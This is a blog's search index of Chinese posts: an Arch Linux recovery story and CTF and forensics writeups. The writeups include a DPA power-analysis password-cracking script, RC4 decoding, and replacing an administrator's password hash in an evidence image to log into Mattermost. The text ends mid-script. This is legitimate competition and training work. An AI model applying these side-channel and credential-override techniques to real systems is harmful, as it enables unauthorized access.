-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsearch.xml
More file actions
868 lines (411 loc) · 472 KB
/
search.xml
File metadata and controls
868 lines (411 loc) · 472 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>Kernel Panic</title>
<link href="/2025/04/22/Kernel%E2%80%94panic/"/>
<url>/2025/04/22/Kernel%E2%80%94panic/</url>
<content type="html"><![CDATA[<h1 id="晴天霹雳">晴天霹雳</h1><p>昨天晚上正打算用arch美美复现一个ai攻击论文,想着先更新一下arch,发现electron更新太慢了,决定先不更新electron,又发现老板electron依赖几个包不能更新,于是决定这些包也不更新。</p><blockquote><p>没想到,这次更新就是噩梦的开始。</p></blockquote><p><img src="https://s2.loli.net/2025/04/22/AqxzuSopWNK2gB9.jpg" alt="ead38818e24c76b0c9c7716c6bc6d802.jpg" /></p><h1 id="事件经过">事件经过</h1><p>其实更新并没有正常结束,刚更新完的时候就已经有蹊跷了</p><blockquote><p>pacman不能运行,报错缺少libicuuc.so.76</p></blockquote><p>但是我并没有在意,认为</p><blockquote><p>重启就好啦☝️🤓</p></blockquote><p>于是重启之后就出现了大名鼎鼎的 <strong>KERNEL PANIC</strong></p><p>当时我的表情是这样的:</p><p><img src="https://s2.loli.net/2025/04/22/asVcXFk56lMK79H.jpg" alt="598ff8b784cb741bd3fd139a6f9324ac.jpg" /></p><p>做实验做到蓝屏的救赎感谁懂</p><h1 id="排错过程">排错过程</h1><p>装个启动盘先进文件系统看看怎么回事</p><h2 id="第一次挂载">第一次挂载</h2><p>进入文件系统尝试pacman发现还是缺少库,定睛一看,这不正好是我没有更新的包之一吗😨,于是</p><ul><li>尝试将老的包改名为新的包,还是不行</li><li>尝试将iso包里面的pacman拷贝到系统里面,还是不行<ul><li>原因是包是新下的,里面的pacman也是最新的</li></ul></li><li>尝试将iso包里面的libicuuc.so.76拷贝到系统里面,还是不行<ul><li>仍然缺少另一个库</li></ul></li><li>在实验室消防员的指导下直接上dirty操作</li></ul><p><img src="https://s2.loli.net/2025/04/22/AB7YV4iMQuHZ9nz.jpg" alt="1275272e4c0fffda80b3988c36682159.jpg" /></p><p><strong>当然是:</strong> 把iso里面整个/usr/lib的文件夹拷贝到系统里面☝️🤓</p><p>不出意料,并没有成功,不过报错是库文件里面的某个符号的问题,怀疑是不是没有将之前改名的libicuuc.so.76覆盖掉,查看了一下sha256sum,发现确实没有覆盖掉,删掉再拷贝,终于能运行pacman了</p><p>尝试用pacman更新系统,报错了:</p><blockquote><p>libicuuc.so.76已存在</p></blockquote><p><img src="https://s2.loli.net/2025/04/22/asVcXFk56lMK79H.jpg" alt="598ff8b784cb741bd3fd139a6f9324ac.jpg" /></p><p>还好pacman有强制覆盖的功能<code>--overwrite</code>,同时将electron全部删掉,终于成功更新了系统和内核,美美拔u盘重启🤓</p><h2 id="第二次挂载">第二次挂载</h2><p>既然有第二次挂载,那也就说明并没有成功,让实验室消防员来看了看panic报错之后告诉我可以试试重新生成一下fstab</p><p>于是重新生成了一下fstab,重启,还是panic</p><h2 id="第三次挂载">第三次挂载</h2><p>把报错复制到网上,发现说需要重新生成所有的Initramfs还有更新Grub</p><p>于是尝试了一下,终于,我的arch又能用了</p><p><img src="https://s2.loli.net/2025/04/22/GJSsQTEdfOqIP6U.jpg" alt="88733b2f1c6e835ab223b4dc1974c99e.jpg" /></p>]]></content>
<tags>
<tag> daily </tag>
</tags>
</entry>
<entry>
<title>一场悲剧😭</title>
<link href="/2024/06/06/About-a-Tragic/"/>
<url>/2024/06/06/About-a-Tragic/</url>
<content type="html"><![CDATA[<p>以前用的图床崩了😭,现在换上了老牌图床smms,希望不要在出现这种问题了。</p><p>之后找时间自己搭图床,还是自己的东西最放心。</p>]]></content>
<tags>
<tag> daily </tag>
</tags>
</entry>
<entry>
<title>About-ciscn2024</title>
<link href="/2024/05/19/About-ciscn2024/"/>
<url>/2024/05/19/About-ciscn2024/</url>
<content type="html"><![CDATA[<h1 id="misc">Misc</h1><h2 id="火锅链观光打卡">火锅链观光打卡</h2><p>安装MetaMost拓展后连上题目的网站然后答对7到题就会出现一张旋转的图片,上面有flag</p><h2 id="power_trajectory_diagram">Power_Trajectory_Diagram</h2><p>分析npz文件,将数据发给gpt,让gpt写出DPA功耗攻击代码:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line"><span class="keyword">import</span> matplotlib.pyplot <span class="keyword">as</span> plt</span><br><span class="line"><span class="keyword">from</span> scipy.stats <span class="keyword">import</span> pearsonr</span><br><span class="line"></span><br><span class="line"><span class="comment"># 加载npz文件</span></span><br><span class="line">data = np.load(<span class="string">'power_traces.npz'</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 提取数据</span></span><br><span class="line">index = data[<span class="string">'index'</span>]</span><br><span class="line">input_data = data[<span class="string">'input'</span>]</span><br><span class="line">trace = data[<span class="string">'trace'</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># 设定密码长度</span></span><br><span class="line">password_length = <span class="number">13</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 按index分组</span></span><br><span class="line">grouped_traces = {}</span><br><span class="line">grouped_inputs = {}</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(index)):</span><br><span class="line"> idx = index[i]</span><br><span class="line"> <span class="keyword">if</span> idx <span class="keyword">not</span> <span class="keyword">in</span> grouped_traces:</span><br><span class="line"> grouped_traces[idx] = []</span><br><span class="line"> grouped_inputs[idx] = []</span><br><span class="line"> grouped_traces[idx].append(trace[i])</span><br><span class="line"> grouped_inputs[idx].append(input_data[i])</span><br><span class="line"></span><br><span class="line"><span class="comment"># 初始化存储推测结果的字典</span></span><br><span class="line">hypothetical_keys = {}</span><br><span class="line"><span class="keyword">for</span> idx <span class="keyword">in</span> <span class="built_in">range</span>(password_length):</span><br><span class="line"> hypothetical_keys[idx] = []</span><br><span class="line"></span><br><span class="line"><span class="comment"># 定义一个简单的DPA分析函数</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">dpa_analysis</span>(<span class="params">grouped_traces, grouped_inputs</span>):</span><br><span class="line"> <span class="keyword">for</span> idx <span class="keyword">in</span> <span class="built_in">range</span>(password_length):</span><br><span class="line"> traces = np.array(grouped_traces[idx])</span><br><span class="line"> inputs = np.array(grouped_inputs[idx])</span><br><span class="line"></span><br><span class="line"> max_corr = -<span class="number">1</span></span><br><span class="line"> best_guess = <span class="literal">None</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 针对每个可能的字符进行假设</span></span><br><span class="line"> <span class="keyword">for</span> guess <span class="keyword">in</span> <span class="built_in">set</span>(inputs):</span><br><span class="line"> <span class="comment"># 假设密钥猜测</span></span><br><span class="line"> hypothetical = np.array([<span class="number">1</span> <span class="keyword">if</span> char == guess <span class="keyword">else</span> <span class="number">0</span> <span class="keyword">for</span> char <span class="keyword">in</span> inputs])</span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 计算假设的中间值</span></span><br><span class="line"> mean_hypothetical = hypothetical.mean()</span><br><span class="line"> diff = hypothetical - mean_hypothetical</span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 计算每个时间点上的功耗与假设的相关性</span></span><br><span class="line"> <span class="keyword">for</span> t <span class="keyword">in</span> <span class="built_in">range</span>(traces.shape[<span class="number">1</span>]):</span><br><span class="line"> corr, _ = pearsonr(traces[:, t], diff)</span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">abs</span>(corr) > max_corr:</span><br><span class="line"> max_corr = <span class="built_in">abs</span>(corr)</span><br><span class="line"> best_guess = guess</span><br><span class="line"> </span><br><span class="line"> hypothetical_keys[idx].append(best_guess)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f"Best guess for position <span class="subst">{idx}</span>: <span class="subst">{best_guess}</span>"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 运行DPA分析</span></span><br><span class="line">dpa_analysis(grouped_traces, grouped_inputs)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 打印最终推测的密码</span></span><br><span class="line">cracked_password = <span class="string">''</span>.join([hypothetical_keys[idx][<span class="number">0</span>] <span class="keyword">for</span> idx <span class="keyword">in</span> <span class="built_in">range</span>(password_length)])</span><br><span class="line"><span class="built_in">print</span>(<span class="string">"Cracked password:"</span>, cracked_password)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 可视化部分密码位的平均功耗轨迹</span></span><br><span class="line">plt.figure(figsize=(<span class="number">12</span>, <span class="number">6</span>))</span><br><span class="line"><span class="keyword">for</span> idx <span class="keyword">in</span> <span class="built_in">range</span>(password_length):</span><br><span class="line"> plt.plot(np.mean(grouped_traces[idx], axis=<span class="number">0</span>), label=<span class="string">f'Position <span class="subst">{idx}</span>'</span>)</span><br><span class="line">plt.legend()</span><br><span class="line">plt.title(<span class="string">'Average Power Traces for Different Password Positions'</span>)</span><br><span class="line">plt.xlabel(<span class="string">'Time'</span>)</span><br><span class="line">plt.ylabel(<span class="string">'Power Consumption'</span>)</span><br><span class="line">plt.show()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="https://s2.loli.net/2024/05/19/1FkfTaDupXHyW5v.png" alt="image.png" /><br /><img src="https://s2.loli.net/2024/05/19/IT5qiroXzjY1g6c.png" alt="image.png" /></p><h2 id="神秘文件">神秘文件</h2><h3 id="part1">part1</h3><p><img src="https://s2.loli.net/2024/05/19/15YWrm3vjIHSZ8p.png" alt="image.png" /><br /><img src="https://s2.loli.net/2024/05/19/BYoL3aM5fQRjnGF.png" alt="image.png" /></p><blockquote><p>Part1:flag{e</p></blockquote><h3 id="part2">part2</h3><p><img src="https://s2.loli.net/2024/05/19/UYiO74lsy1dJznb.png" alt="image.png" /></p><p><img src="https://s2.loli.net/2024/05/19/CWcRGzSnUptB6Ny.png" alt="image.png" /></p><p><img src="https://s2.loli.net/2024/05/19/3wkACVb5EO9Tz2D.png" alt="image.png" /></p><blockquote><p>part2:675efb</p></blockquote><h3 id="part3">part3</h3><p>得到vba代码:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line">Sub crypto(sMessage, strKey)</span><br><span class="line"> Dim kLen, x, y, i, j, temp</span><br><span class="line"> Dim s(256), k(256)</span><br><span class="line"> </span><br><span class="line"> kLen = Len(strKey)</span><br><span class="line"> For i = 0 To 255</span><br><span class="line"> s(i) = i</span><br><span class="line"> k(i) = Asc(Mid(strKey, (i Mod kLen) + 1, 1))</span><br><span class="line"> Next</span><br><span class="line"> </span><br><span class="line"> j = 0</span><br><span class="line"> For i = 0 To 255</span><br><span class="line"> j = (j + k(i) + s(i)) Mod 256</span><br><span class="line"> temp = s(i)</span><br><span class="line"> s(i) = s(j)</span><br><span class="line"> s(j) = temp</span><br><span class="line"> Next</span><br><span class="line"> </span><br><span class="line"> x = 0</span><br><span class="line"> y = 0</span><br><span class="line"> </span><br><span class="line"> For i = 1 To 3072</span><br><span class="line"> x = (x + 1) Mod 256</span><br><span class="line"> y = (y + s(x)) Mod 256</span><br><span class="line"> temp = s(x)</span><br><span class="line"> s(x) = s(y)</span><br><span class="line"> s(y) = temp</span><br><span class="line"> Next</span><br><span class="line"> </span><br><span class="line"> For i = 1 To Len(sMessage)</span><br><span class="line"> x = (x + 1) Mod 256</span><br><span class="line"> y = (y + s(x)) Mod 256</span><br><span class="line"> temp = s(x)</span><br><span class="line"> s(x) = s(y)</span><br><span class="line"> s(y) = temp</span><br><span class="line"> </span><br><span class="line"> crypto = crypto & (s((s(x) + s(y)) Mod 256) Xor Asc(Mid(sMessage, i, 1))) & ","</span><br><span class="line"> Next</span><br><span class="line"> 'i13POMdzEAzHfy4dGS+vUA==(After base64)</span><br><span class="line">End Sub</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>上网搜索发现是rc4,在cyberchef密码没输直接出了</p><p><img src="https://s2.loli.net/2024/05/19/BYoL3aM5fQRjnGF.png" alt="image.png" /></p><blockquote><p>PArt3:3-34</p></blockquote><h3 id="part4">part4</h3><p><img src="https://s2.loli.net/2024/05/19/DwxOZUohzn6K4a7.png" alt="image.png" /><br /><img src="https://s2.loli.net/2024/05/19/ey5ciRurXZdm8K2.png" alt="image.png" /></p><blockquote><p>PaRt4:6f-40</p></blockquote><h3 id="part5">part5</h3><blockquote><p>Vm1wR1UxRXhXWGhUV0d4WFlrZG9WMWxVUm1GWFJscHlWMjVrVmxKc2NIaFZiVFZQVkd4S2MxSnFVbGRXTTFKUVdWVmtVMDVyTVVWaGVqQTk=<br />N round Base64</p></blockquote><p><img src="https://s2.loli.net/2024/05/19/SidLAvrQ17KTM9m.png" alt="image.png" /></p><blockquote><p>pArt5:5f-90d</p></blockquote><h3 id="part6">part6</h3><p><img src="https://s2.loli.net/2024/05/19/XBOVjJtb31amWkG.png" alt="image.png" /><br /><img src="https://s2.loli.net/2024/05/19/7SYpuRGQTD9vdCI.png" alt="image.png" /></p><blockquote><p>ParT6:d-2</p></blockquote><h3 id="part7">part7</h3><p><img src="https://s2.loli.net/2024/05/19/OHTXezJ4ESZw7Fo.png" alt="image.png" /><br /><img src="https://s2.loli.net/2024/05/19/i35ojRTDftx1NmB.png" alt="image.png" /></p><blockquote><p>PART7=22b3</p></blockquote><h3 id="part8">part8</h3><p><img src="https://s2.loli.net/2024/05/19/ICJPFbfV3Qkqejt.png" alt="image.png" /><br /><img src="https://s2.loli.net/2024/05/19/xNTov6cwZgQleUA.png" alt="image.png" /></p><blockquote><p>paRt8:87e</p></blockquote><h3 id="part9">part9</h3><p><img src="https://s2.loli.net/2024/05/19/iplvXHNQ9MnV8CI.png" alt="image.png" /><br /><img src="https://s2.loli.net/2024/05/19/nHKuRzamewJ8sEZ.png" alt="image.png" /></p><blockquote><p>parT9:dee</p></blockquote><h3 id="part10">part10</h3><p><img src="https://s2.loli.net/2024/05/19/zgRF8JGliHCdPfv.png" alt="image.png" /><br /><img src="https://s2.loli.net/2024/05/19/UwEbGkea8rotBx4.png" alt="image.png" /><br /><img src="https://s2.loli.net/2024/05/19/hbp9THgsNQAlwMa.png" alt="image.png" /><br /><img src="https://s2.loli.net/2024/05/19/d73bJlILeHFspuX.png" alt="image.png" /></p><blockquote><p>PARt10:9}</p></blockquote><blockquote><p>flag{e675efb3-346f-405f-90dd-222b387edee9}</p></blockquote><h2 id="大学生安全测试能力调研问卷">大学生安全测试能力调研问卷</h2><p>问卷题</p>]]></content>
</entry>
<entry>
<title>盘古石杯2024</title>
<link href="/2024/05/11/Pangushi2024/"/>
<url>/2024/05/11/Pangushi2024/</url>
<content type="html"><![CDATA[<p>首先进入仿真</p><ol><li><p>分析服务器内部检材,在搭建的内部即时通讯平台中,客户端与服务器的通讯端口是<br /><img src="https://s2.loli.net/2024/06/06/jilhMbQWNksJCXq.png" alt="image.png" /><br />8065</p></li><li><p>分析内部IM服务器检材,该内部IM平台使用的数据库版本是<br /><img src="https://s2.loli.net/2024/06/06/3WFHeUrNq2zgpyS.png" alt="image-1.png" /><br />12.18</p></li><li><p>分析内部IM服务器检材,该内部IM平台中数据库的名称是<br />同2<br />mattermost_test</p></li><li><p>分析内部IM服务器检材,该内部IM平台中当前数据库一共有多少张表<br />首先进入到docker导出数据库文件:<br />在ssh中<code>docker exec 64</code><br />在docker中<code>pg_dump -U mmuser -d mattermost_test > output.sql</code><br />在ssh中<code>docker cp 64:/output.sql ./output.sql</code><br />在shell中<code>scp -r root@192.168.220.128:/root/output.sql C:\Users\ASUSROG\Desktop</code><br />然后使用postgis将数据连接到postgresql中: <code>psql -U postgres -f output.sql</code><br />然后使用<code>\dt</code>查看表的数量<br /><img src="https://s2.loli.net/2024/06/06/wtMRGuPqJ1QhHXn.png" alt="image-3.png" /><br /><img src="https://s2.loli.net/2024/06/06/HnJGP6Qtlv1aRVM.png" alt="image-4.png" /><br />82</p><p>同样也可以使用HeidiSQL连接到数据库中查看表的数量<br /><img src="https://s2.loli.net/2024/06/06/bpQSGYzn4VBxjO5.png" alt="image-2.png" /></p></li><li><p>分析内部IM服务器检材,员工注册的邀请链接中,邀请码是:<br /><img src="https://s2.loli.net/2024/06/06/hpmZ8oSgDX9rQs1.png" alt="image-5.png" /><br />54d916mu6p858bbyz8f88rmbmc</p></li><li><p>分析内部IM服务器检材,用户yiyan一共给fujiya发送了几个视频文件:<br /><img src="https://s2.loli.net/2024/06/06/B8Gh697ngJfCU42.png" alt="image-6.png" /><br />可以看出第一个是群组的,yiyan给fujiya发送了2个视频文件</p></li><li><p>分析内部IM服务器检材,用户yiyan在团队群组中发送的视频文件的MD5值是:<br />提取出来算<br /><code>docker cp 64:/mm/mattermost-data/20240424/teams/noteam/channels/dpqyctmqif8imjunikk3iqi8hy/users/jrmi9kx8pfg9drc7b9dczh7neo/brryxgwf8pdzdgd46i4og17rdh/20240424-04_1713942308.mp4 ./</code></p></li><li><p>分析内部IM服务器检材,一个团队中允许的最大用户数是:</p><p>在这里生成密钥<a href="https://www.bejson.com/encrypt/bcrpyt_encode/">https://www.bejson.com/encrypt/bcrpyt_encode/</a></p><p>直接修改老板密码为弱密码,登录到内部Mattermost平台<br /><img src="https://s2.loli.net/2024/06/06/WKN16AlmHSZfcJn.png" alt="image-7.png" /></p><p>然后在团队设置<a href="http://192.168.220.128:8065/admin_console/site_config/users_and_teams">http://192.168.220.128:8065/admin_console/site_config/users_and_teams</a> 中可以看到最大用户数是50<br /><img src="https://s2.loli.net/2024/06/06/ZO8yQ1jkhbwFANW.png" alt="image-8.png" /></p></li><li><p>分析内部IM服务器检材,黑客是什么时候开始攻击:<br /><img src="https://s2.loli.net/2024/06/06/pn1qkBdCRcOTmfo.png" alt="image-9.png" /><br />最早的就是</p></li><li><p>分析网站服务器检材,网站搭建使用的服务器管理软件当前版本是否支持32位系统</p></li></ol><p><img src="https://s2.loli.net/2024/06/06/8uI1Xgq5clQkvnh.png" alt="image-10.png" /><br />版本太新,否</p><ol start="11"><li><p>分析网站服务器检材,数据库备份的频率是一周多少次<br /><img src="https://s2.loli.net/2024/06/06/8QEORW639jfFwxH.png" alt="image-11.png" /><br />一次</p></li><li><p>分析网站服务器检材,数据库备份生成的文件的密码是:</p><p><a href="http://xn--backup-2i5my41h.sh">查看backup.sh</a>:<br /><img src="https://s2.loli.net/2024/06/06/ClJWOHjYidgBKk4.png" alt="image-13.png" /><br />发现了明显的密钥生成字节,然后运行一下得到密钥IvPGP/8vfTLtzQfJTmQhYg==<br /><img src="https://s2.loli.net/2024/06/06/4OuCtkP8ZQVlp2L.png" alt="image-12.png" /></p></li><li><p>分析网站服务器检材,网站前台首页的网站标题是:<br />威尼斯</p></li></ol>]]></content>
</entry>
<entry>
<title>HASHCTF_2024</title>
<link href="/2024/04/14/HASHCTF-2024/"/>
<url>/2024/04/14/HASHCTF-2024/</url>
<content type="html"><![CDATA[<h1 id="坚持与努力">坚持与努力</h1><p>其实就是一个数学问题,hash_hash老师提供了一种严谨的做法:</p><p><img src="https://s2.loli.net/2024/04/14/dO4mMzSng65sbTX.png" alt="798529e0ecf5f0a2225cb23fcd91376e.png" /></p><p>我这里提供一种不太严谨的做法:</p><p>统计每个十字中的黑格或白格出现的次数,可以发现黑格子和白格子的统计结果的奇偶性必然相反,举个例子:</p><p><img src="https://s2.loli.net/2024/04/14/AduZDXb7312rxph.png" alt="3960dc5e-6ba5-4d17-b457-d7e7fd6362cd.png" /></p><p>也就是说,将初始棋盘上的所有黑格或者白格全部翻一遍就能复原整个棋盘</p><p>顺便贴上出题人的思路来源:<a href="https://www.bilibili.com/video/BV1XQ4y1t79G/">七步之内必有最优?</a></p><h1 id="时间紧任务重">时间紧任务重</h1><p>坚持与努力plus!7*7的棋盘,10轮游戏,要求在10秒内总不超过150通关,实际就是加上了一个查找最少步数和pwntools使用</p><blockquote><p><em>而且出题人还贴心地将棋盘列表输出出来了,不用你们自己整理数据生成列表</em></p></blockquote><p>首先翻转一整行或者一整列会将整个棋盘翻转。所以对于任意一个可行解,将这个可行解的任意一行或列翻转得到的解‘也是一个可行解,因为这就相当于在解之后又翻了一遍。这里的解翻转一行指的是,在本来是全点白色的时候,但是这一行白色太多,我就点这一行的黑色,相当于将这一行整体翻转了一遍。于是我们就可以遍历7行+7列一共2^14中行列翻转的可能找到最优的解</p><p>官方exp:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> itertools</span><br><span class="line"><span class="comment">#context(os="linux", arch="i386", log_level="debug")</span></span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line">io=remote(<span class="string">'localhost'</span>,<span class="number">12345</span>)</span><br><span class="line">io.recvuntil(<span class="string">'vel1!\n'</span>)</span><br><span class="line">content = <span class="built_in">eval</span>(io.recvline().strip().decode())</span><br><span class="line"><span class="built_in">print</span>(content)</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">type</span>(content))</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">change_row</span>(<span class="params"><span class="built_in">map</span>, pos, n</span>): <span class="comment">#用处不大,只是方便我检查</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, n):</span><br><span class="line"> <span 